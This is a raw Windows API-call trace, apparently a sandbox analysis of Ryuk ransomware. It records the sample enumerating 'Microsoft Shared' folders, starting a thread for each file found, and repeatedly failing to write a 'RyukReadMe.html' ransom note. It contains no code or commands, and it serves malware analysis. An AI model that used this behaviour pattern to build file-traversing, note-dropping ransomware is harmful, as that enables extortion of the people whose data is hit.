	[0172.649] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0172.649] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0172.649] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0172.649] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914
	[0173.087] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.474] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0173.475] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0173.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8
	[0173.484] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.485] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1
	[0173.485] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0173.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470
	[0173.657] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.659] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1
	[0173.659] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0173.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560
	[0173.662] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.662] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0
	[0173.662] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0173.953] SetLastError (dwErrCode=0x0) 
	[0173.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.954] GetLastError () returned 0x5
	[0173.954] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0173.954] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.954] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0
	[0173.954] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0173.954] SetLastError (dwErrCode=0x0) 
	[0173.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.955] GetLastError () returned 0x5
	[0173.955] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0173.955] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.955] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1
	[0173.955] SetLastError (dwErrCode=0x0) 
	[0173.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.956] GetLastError () returned 0x5
	[0173.956] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0173.956] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.956] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0173.960] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0173.960] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1
	[0173.961] SetLastError (dwErrCode=0x0) 
	[0173.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.961] GetLastError () returned 0x5
	[0173.961] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0173.961] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.961] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0173.963] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0173.963] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1
	[0173.963] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0173.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c
	[0173.966] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.966] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0
	[0173.966] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0173.966] SetLastError (dwErrCode=0x0) 
	[0173.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.967] GetLastError () returned 0x5
	[0173.967] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0173.967] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.967] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1
	[0173.967] SetLastError (dwErrCode=0x0) 
	[0173.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.967] GetLastError () returned 0x5
	[0173.968] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0173.968] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0173.969] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0173.970] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1
	[0173.970] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0173.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784
	[0173.973] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.973] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0
	[0173.973] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0173.974] SetLastError (dwErrCode=0x0) 
	[0173.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.974] GetLastError () returned 0x5
	[0173.974] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0173.974] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.974] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1
	[0173.974] SetLastError (dwErrCode=0x0) 
	[0173.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.975] GetLastError () returned 0x5
	[0173.975] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0173.975] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0173.976] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0173.976] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1
	[0173.976] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0173.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780
	[0173.979] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.980] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0
	[0173.980] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0173.980] SetLastError (dwErrCode=0x0) 
	[0173.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.980] GetLastError () returned 0x5
	[0173.980] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0173.980] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.981] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1
	[0173.981] SetLastError (dwErrCode=0x0) 
	[0173.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.981] GetLastError () returned 0x5
	[0173.981] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0173.981] CloseHandle (hObject=0xffffffffffffffff) returned 0
